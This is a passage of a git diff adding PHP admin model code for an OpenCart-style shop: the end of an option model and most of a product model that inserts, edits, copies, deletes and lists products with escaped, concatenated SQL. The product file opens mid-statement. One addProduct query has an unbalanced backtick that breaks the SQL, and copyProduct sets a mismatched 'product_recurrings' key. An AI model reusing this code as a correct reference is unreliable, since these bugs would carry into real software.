+ $option_value_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_value WHERE option_id = '" . (int)$option_id . "' ORDER BY sort_order");
+
+ foreach ($option_value_query->rows as $option_value) {
+ $option_value_description_data = array();
+
+ $option_value_description_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_value_description WHERE option_value_id = '" . (int)$option_value['option_value_id'] . "'");
+
+ foreach ($option_value_description_query->rows as $option_value_description) {
+ $option_value_description_data[$option_value_description['language_id']] = array('name' => $option_value_description['name']);
+ }
+
+ $option_value_data[] = array(
+ 'option_value_id' => $option_value['option_value_id'],
+ 'option_value_description' => $option_value_description_data,
+ 'image' => $option_value['image'],
+ 'sort_order' => $option_value['sort_order']
+ );
+ }
+
+ return $option_value_data;
+ }
+
+ public function getTotalOptions() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "option`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/product.php b/public/admin/model/catalog/product.php
new file mode 100644
index 0000000..c68f349
--- /dev/null
+++ b/public/admin/model/catalog/product.php
@@ -0,0 +1,917 @@
+db->query("INSERT INTO " . DB_PREFIX . "product SET model = '" . $this->db->escape($data['model']) . "', sku = '" . $this->db->escape($data['sku']) . "', upc = '" . $this->db->escape($data['upc']) . "', ean = '" . $this->db->escape($data['ean']) . "', jan = '" . $this->db->escape($data['jan']) . "', isbn = '" . $this->db->escape($data['isbn']) . "', mpn = '" . $this->db->escape($data['mpn']) . "', location = '" . $this->db->escape($data['location']) . "', quantity = '" . (int)$data['quantity'] . "', minimum = '" . (int)$data['minimum'] . "', subtract = '" . (int)$data['subtract'] . "', stock_status_id = '" . (int)$data['stock_status_id'] . "', date_available = '" . $this->db->escape($data['date_available']) . "', manufacturer_id = '" . (int)$data['manufacturer_id'] . "', shipping = '" . (int)$data['shipping'] . "', price = '" . (float)$data['price'] . "',price_2 = '" . (float)$data['price_2'] . "',price_3 = '" . (float)$data['price_3'] . "', points = '" . (int)$data['points'] . "', weight = '" . (float)$data['weight'] . "', weight_class_id = '" . (int)$data['weight_class_id'] . "', length = '" . (float)$data['length'] . "', width = '" . (float)$data['width'] . "', height = '" . (float)$data['height'] . "', length_class_id = '" . (int)$data['length_class_id'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', tax_class_id = '" . (int)$data['tax_class_id'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_added = NOW(), date_modified = NOW()");
+
+ $product_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product SET image = '" . $this->db->escape($data['image']) . "' WHERE product_id = '" . (int)$product_id . "'");
+ }
+
+ foreach ($data['product_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_description SET product_id = '" . (int)$product_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', tag = '" . $this->db->escape($value['tag']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['product_store'])) {
+ foreach ($data['product_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_store SET product_id = '" . (int)$product_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['product_attribute'])) {
+ foreach ($data['product_attribute'] as $product_attribute) {
+ if ($product_attribute['attribute_id']) {
+ // Removes duplicates
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "' AND attribute_id = '" . (int)$product_attribute['attribute_id'] . "'");
+
+ foreach ($product_attribute['product_attribute_description'] as $language_id => $product_attribute_description) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "' AND attribute_id = '" . (int)$product_attribute['attribute_id'] . "' AND language_id = '" . (int)$language_id . "'");
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_attribute SET product_id = '" . (int)$product_id . "', attribute_id = '" . (int)$product_attribute['attribute_id'] . "', language_id = '" . (int)$language_id . "', text = '" . $this->db->escape($product_attribute_description['text']) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['product_option'])) {
+ foreach ($data['product_option'] as $product_option) {
+ if ($product_option['type'] == 'select' || $product_option['type'] == 'radio' || $product_option['type'] == 'checkbox' || $product_option['type'] == 'image') {
+ if (isset($product_option['product_option_value'])) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option SET product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', required = '" . (int)$product_option['required'] . "'");
+
+ $product_option_id = $this->db->getLastId();
+
+ foreach ($product_option['product_option_value'] as $product_option_value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option_value SET product_option_id = '" . (int)$product_option_id . "', product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', option_value_id = '" . (int)$product_option_value['option_value_id'] . "', quantity = '" . (int)$product_option_value['quantity'] . "', subtract = '" . (int)$product_option_value['subtract'] . "', price = '" . (float)$product_option_value['price'] . "', price_prefix = '" . $this->db->escape($product_option_value['price_prefix']) . "', points = '" . (int)$product_option_value['points'] . "', points_prefix = '" . $this->db->escape($product_option_value['points_prefix']) . "', weight = '" . (float)$product_option_value['weight'] . "', weight_prefix = '" . $this->db->escape($product_option_value['weight_prefix']) . "'");
+ }
+ }
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option SET product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', value = '" . $this->db->escape($product_option['value']) . "', required = '" . (int)$product_option['required'] . "'");
+ }
+ }
+ }
+
+ if (isset($data['product_recurring'])) {
+ foreach ($data['product_recurring'] as $recurring) {
+
+ $query = $this->db->query("SELECT `product_id` FROM `" . DB_PREFIX . "product_recurring` WHERE `product_id` = '" . (int)$product_id . "' AND `customer_group_id = '" . (int)$recurring['customer_group_id'] . "' AND `recurring_id` = '" . (int)$recurring['recurring_id'] . "'");
+
+ if (!$query->num_rows) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "product_recurring` SET `product_id` = '" . (int)$product_id . "', customer_group_id = '" . (int)$recurring['customer_group_id'] . "', `recurring_id` = '" . (int)$recurring['recurring_id'] . "'");
+ }
+ }
+ }
+
+ if (isset($data['product_discount'])) {
+ foreach ($data['product_discount'] as $product_discount) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_discount SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$product_discount['customer_group_id'] . "', quantity = '" . (int)$product_discount['quantity'] . "', priority = '" . (int)$product_discount['priority'] . "', price = '" . (float)$product_discount['price'] . "', date_start = '" . $this->db->escape($product_discount['date_start']) . "', date_end = '" . $this->db->escape($product_discount['date_end']) . "'");
+ }
+ }
+
+ if (isset($data['product_special'])) {
+ foreach ($data['product_special'] as $product_special) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_special SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$product_special['customer_group_id'] . "', priority = '" . (int)$product_special['priority'] . "', price = '" . (float)$product_special['price'] . "', date_start = '" . $this->db->escape($product_special['date_start']) . "', date_end = '" . $this->db->escape($product_special['date_end']) . "'");
+ }
+ }
+
+ if (isset($data['product_image'])) {
+ foreach ($data['product_image'] as $product_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_image SET product_id = '" . (int)$product_id . "', image = '" . $this->db->escape($product_image['image']) . "', sort_order = '" . (int)$product_image['sort_order'] . "'");
+ }
+ }
+
+ if (isset($data['product_download'])) {
+ foreach ($data['product_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_download SET product_id = '" . (int)$product_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ if (isset($data['product_category'])) {
+ foreach ($data['product_category'] as $category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_category SET product_id = '" . (int)$product_id . "', category_id = '" . (int)$category_id . "'");
+ }
+ }
+
+ if (isset($data['main_category_id']) && $data['main_category_id'] > 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "' AND category_id = '" . (int)$data['main_category_id'] . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_category SET product_id = '" . (int)$product_id . "', category_id = '" . (int)$data['main_category_id'] . "', main_category = 1");
+ } elseif (isset($data['product_category'][0])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product_to_category SET main_category = 1 WHERE product_id = '" . (int)$product_id . "' AND category_id = '" . (int)$data['product_category'][0] . "'");
+ }
+
+ if (isset($data['product_filter'])) {
+ foreach ($data['product_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_filter SET product_id = '" . (int)$product_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$product_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related SET product_id = '" . (int)$product_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$related_id . "' AND related_id = '" . (int)$product_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related SET product_id = '" . (int)$related_id . "', related_id = '" . (int)$product_id . "'");
+ }
+ }
+
+ if (isset($data['product_related_article'])) {
+ foreach ($data['product_related_article'] as $article_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_article WHERE product_id = '" . (int)$product_id . "' AND article_id = '" . (int)$article_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_article SET product_id = '" . (int)$product_id . "', article_id = '" . (int)$article_id . "'");
+ }
+ }
+
+ if (isset($data['product_reward'])) {
+ foreach ($data['product_reward'] as $customer_group_id => $product_reward) {
+ if ((int)$product_reward['points'] > 0) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_reward SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$customer_group_id . "', points = '" . (int)$product_reward['points'] . "'");
+ }
+ }
+ }
+
+ // SEO URL
+ if (isset($data['product_seo_url'])) {
+ foreach ($data['product_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'product_id=" . (int)$product_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['product_layout'])) {
+ foreach ($data['product_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_layout SET product_id = '" . (int)$product_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+
+ $this->cache->delete('product');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ return $product_id;
+ }
+
+ public function editProduct($product_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product SET model = '" . $this->db->escape($data['model']) . "', sku = '" . $this->db->escape($data['sku']) . "', upc = '" . $this->db->escape($data['upc']) . "', ean = '" . $this->db->escape($data['ean']) . "', jan = '" . $this->db->escape($data['jan']) . "', isbn = '" . $this->db->escape($data['isbn']) . "', mpn = '" . $this->db->escape($data['mpn']) . "', location = '" . $this->db->escape($data['location']) . "', quantity = '" . (int)$data['quantity'] . "', minimum = '" . (int)$data['minimum'] . "', subtract = '" . (int)$data['subtract'] . "', stock_status_id = '" . (int)$data['stock_status_id'] . "', date_available = '" . $this->db->escape($data['date_available']) . "', manufacturer_id = '" . (int)$data['manufacturer_id'] . "', shipping = '" . (int)$data['shipping'] . "', price = '" . (float)$data['price'] . "',price_2 = '" . (float)$data['price_2'] . "',price_3 = '" . (float)$data['price_3'] . "', points = '" . (int)$data['points'] . "', weight = '" . (float)$data['weight'] . "', weight_class_id = '" . (int)$data['weight_class_id'] . "', length = '" . (float)$data['length'] . "', width = '" . (float)$data['width'] . "', height = '" . (float)$data['height'] . "', length_class_id = '" . (int)$data['length_class_id'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', tax_class_id = '" . (int)$data['tax_class_id'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_modified = NOW() WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product SET image = '" . $this->db->escape($data['image']) . "' WHERE product_id = '" . (int)$product_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_description WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($data['product_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_description SET product_id = '" . (int)$product_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', tag = '" . $this->db->escape($value['tag']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_store WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_store'])) {
+ foreach ($data['product_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_store SET product_id = '" . (int)$product_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "'");
+
+ if (!empty($data['product_attribute'])) {
+ foreach ($data['product_attribute'] as $product_attribute) {
+ if ($product_attribute['attribute_id']) {
+ // Removes duplicates
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "' AND attribute_id = '" . (int)$product_attribute['attribute_id'] . "'");
+
+ foreach ($product_attribute['product_attribute_description'] as $language_id => $product_attribute_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_attribute SET product_id = '" . (int)$product_id . "', attribute_id = '" . (int)$product_attribute['attribute_id'] . "', language_id = '" . (int)$language_id . "', text = '" . $this->db->escape($product_attribute_description['text']) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_option WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_option_value WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_option'])) {
+ foreach ($data['product_option'] as $product_option) {
+ if ($product_option['type'] == 'select' || $product_option['type'] == 'radio' || $product_option['type'] == 'checkbox' || $product_option['type'] == 'image') {
+ if (isset($product_option['product_option_value'])) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option SET product_option_id = '" . (int)$product_option['product_option_id'] . "', product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', required = '" . (int)$product_option['required'] . "'");
+
+ $product_option_id = $this->db->getLastId();
+
+ foreach ($product_option['product_option_value'] as $product_option_value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option_value SET product_option_value_id = '" . (int)$product_option_value['product_option_value_id'] . "', product_option_id = '" . (int)$product_option_id . "', product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', option_value_id = '" . (int)$product_option_value['option_value_id'] . "', quantity = '" . (int)$product_option_value['quantity'] . "', subtract = '" . (int)$product_option_value['subtract'] . "', price = '" . (float)$product_option_value['price'] . "', price_prefix = '" . $this->db->escape($product_option_value['price_prefix']) . "', points = '" . (int)$product_option_value['points'] . "', points_prefix = '" . $this->db->escape($product_option_value['points_prefix']) . "', weight = '" . (float)$product_option_value['weight'] . "', weight_prefix = '" . $this->db->escape($product_option_value['weight_prefix']) . "'");
+ }
+ }
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_option SET product_option_id = '" . (int)$product_option['product_option_id'] . "', product_id = '" . (int)$product_id . "', option_id = '" . (int)$product_option['option_id'] . "', value = '" . $this->db->escape($product_option['value']) . "', required = '" . (int)$product_option['required'] . "'");
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "product_recurring` WHERE product_id = " . (int)$product_id);
+
+ if (isset($data['product_recurring'])) {
+ foreach ($data['product_recurring'] as $product_recurring) {
+ $query = $this->db->query("SELECT `product_id` FROM `" . DB_PREFIX . "product_recurring` WHERE `product_id` = '" . (int)$product_id . "' AND `customer_group_id` = '" . (int)$product_recurring['customer_group_id'] . "' AND `recurring_id` = '" . (int)$product_recurring['recurring_id'] . "'");
+
+ if (!$query->num_rows) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "product_recurring` SET `product_id` = '" . (int)$product_id . "', `customer_group_id` = '" . (int)$product_recurring['customer_group_id'] . "', `recurring_id` = '" . (int)$product_recurring['recurring_id'] . "'");
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_discount WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_discount'])) {
+ foreach ($data['product_discount'] as $product_discount) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_discount SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$product_discount['customer_group_id'] . "', quantity = '" . (int)$product_discount['quantity'] . "', priority = '" . (int)$product_discount['priority'] . "', price = '" . (float)$product_discount['price'] . "', date_start = '" . $this->db->escape($product_discount['date_start']) . "', date_end = '" . $this->db->escape($product_discount['date_end']) . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_special WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_special'])) {
+ foreach ($data['product_special'] as $product_special) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_special SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$product_special['customer_group_id'] . "', priority = '" . (int)$product_special['priority'] . "', price = '" . (float)$product_special['price'] . "', date_start = '" . $this->db->escape($product_special['date_start']) . "', date_end = '" . $this->db->escape($product_special['date_end']) . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_image WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_image'])) {
+ foreach ($data['product_image'] as $product_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_image SET product_id = '" . (int)$product_id . "', image = '" . $this->db->escape($product_image['image']) . "', sort_order = '" . (int)$product_image['sort_order'] . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_download WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_download'])) {
+ foreach ($data['product_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_download SET product_id = '" . (int)$product_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_category'])) {
+ foreach ($data['product_category'] as $category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_category SET product_id = '" . (int)$product_id . "', category_id = '" . (int)$category_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_filter WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['main_category_id']) && $data['main_category_id'] > 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "' AND category_id = '" . (int)$data['main_category_id'] . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_category SET product_id = '" . (int)$product_id . "', category_id = '" . (int)$data['main_category_id'] . "', main_category = 1");
+ } elseif (isset($data['product_category'][0])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product_to_category SET main_category = 1 WHERE product_id = '" . (int)$product_id . "' AND category_id = '" . (int)$data['product_category'][0] . "'");
+ }
+
+ if (isset($data['product_filter'])) {
+ foreach ($data['product_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_filter SET product_id = '" . (int)$product_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE related_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$product_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related SET product_id = '" . (int)$product_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$related_id . "' AND related_id = '" . (int)$product_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related SET product_id = '" . (int)$related_id . "', related_id = '" . (int)$product_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_article WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_related_article'])) {
+ foreach ($data['product_related_article'] as $article_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_article WHERE product_id = '" . (int)$product_id . "' AND article_id = '" . (int)$article_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_article SET product_id = '" . (int)$product_id . "', article_id = '" . (int)$article_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_reward WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_reward'])) {
+ foreach ($data['product_reward'] as $customer_group_id => $value) {
+ if ((int)$value['points'] > 0) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_reward SET product_id = '" . (int)$product_id . "', customer_group_id = '" . (int)$customer_group_id . "', points = '" . (int)$value['points'] . "'");
+ }
+ }
+ }
+
+ // SEO URL
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'product_id=" . (int)$product_id . "'");
+
+ if (isset($data['product_seo_url'])) {
+ foreach ($data['product_seo_url']as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'product_id=" . (int)$product_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_layout WHERE product_id = '" . (int)$product_id . "'");
+
+ if (isset($data['product_layout'])) {
+ foreach ($data['product_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_to_layout SET product_id = '" . (int)$product_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('product');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+
+ public function editProductStatus($product_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "product SET status = '" . (int)$status . "', date_modified = NOW() WHERE product_id = '" . (int)$product_id . "'");
+
+ $this->cache->delete('product');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ return $product_id;
+ }
+
+ public function copyProduct($product_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "product p WHERE p.product_id = '" . (int)$product_id . "'");
+
+ if ($query->num_rows) {
+ $data = $query->row;
+
+ $data['sku'] = '';
+ $data['upc'] = '';
+ $data['viewed'] = '0';
+ $data['keyword'] = '';
+ $data['status'] = '0';
+ $data['noindex'] = '0';
+
+ $data['product_attribute'] = $this->getProductAttributes($product_id);
+ $data['product_description'] = $this->getProductDescriptions($product_id);
+ $data['product_discount'] = $this->getProductDiscounts($product_id);
+ $data['product_filter'] = $this->getProductFilters($product_id);
+ $data['product_image'] = $this->getProductImages($product_id);
+ $data['product_option'] = $this->getProductOptions($product_id);
+ $data['product_related'] = $this->getProductRelated($product_id);
+ $data['product_related_article'] = $this->getArticleRelated($product_id);
+ $data['product_reward'] = $this->getProductRewards($product_id);
+ $data['product_special'] = $this->getProductSpecials($product_id);
+ $data['product_category'] = $this->getProductCategories($product_id);
+ $data['product_download'] = $this->getProductDownloads($product_id);
+ $data['product_layout'] = $this->getProductLayouts($product_id);
+ $data['product_store'] = $this->getProductStores($product_id);
+ $data['product_recurrings'] = $this->getRecurrings($product_id);
+
+ $this->addProduct($data);
+ }
+ }
+
+ public function deleteProduct($product_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_description WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_discount WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_filter WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_image WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_option WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_option_value WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related WHERE related_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_article WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_reward WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_special WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_download WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_layout WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_store WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_recurring WHERE product_id = " . (int)$product_id);
+ $this->db->query("DELETE FROM " . DB_PREFIX . "review WHERE product_id = '" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'product_id=" . (int)$product_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_product WHERE product_id = '" . (int)$product_id . "'");
+
+ $this->cache->delete('product');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+
+ public function getProduct($product_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "product p LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) WHERE p.product_id = '" . (int)$product_id . "' AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getProducts($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "product p LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (isset($data['filter_category']) && !is_null($data['filter_category'])) {
+ preg_match('/(.*)(WHERE pd\.language_id.*)/', $sql, $sql_crutch_matches);
+ if (isset($sql_crutch_matches[2])) {
+ $sql = $sql_crutch_matches[1] . " LEFT JOIN " . DB_PREFIX . "product_to_category p2c ON (p.product_id = p2c.product_id)" . $sql_crutch_matches[2];
+ } else {
+ $data['filter_category'] = null;
+ }
+ }
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_model'])) {
+ $sql .= " AND p.model LIKE '%" . $this->db->escape($data['filter_model']) . "%'";
+ }
+
+ if (isset($data['filter_category']) && !is_null($data['filter_category'])) {
+ if (!empty($data['filter_category']) && !empty($data['filter_sub_category'])) {
+ $implode_data = array();
+
+ $this->load->model('catalog/category');
+
+ $categories = $this->model_catalog_category->getCategoriesChildren($data['filter_category']);
+
+ foreach ($categories as $category) {
+ $implode_data[] = "p2c.category_id = '" . (int)$category['category_id'] . "'";
+ }
+
+ $sql .= " AND (" . implode(' OR ', $implode_data) . ")";
+ } else {
+ if ((int)$data['filter_category'] > 0) {
+ $sql .= " AND p2c.category_id = '" . (int)$data['filter_category'] . "'";
+ } else {
+ $sql .= " AND p2c.category_id IS NULL";
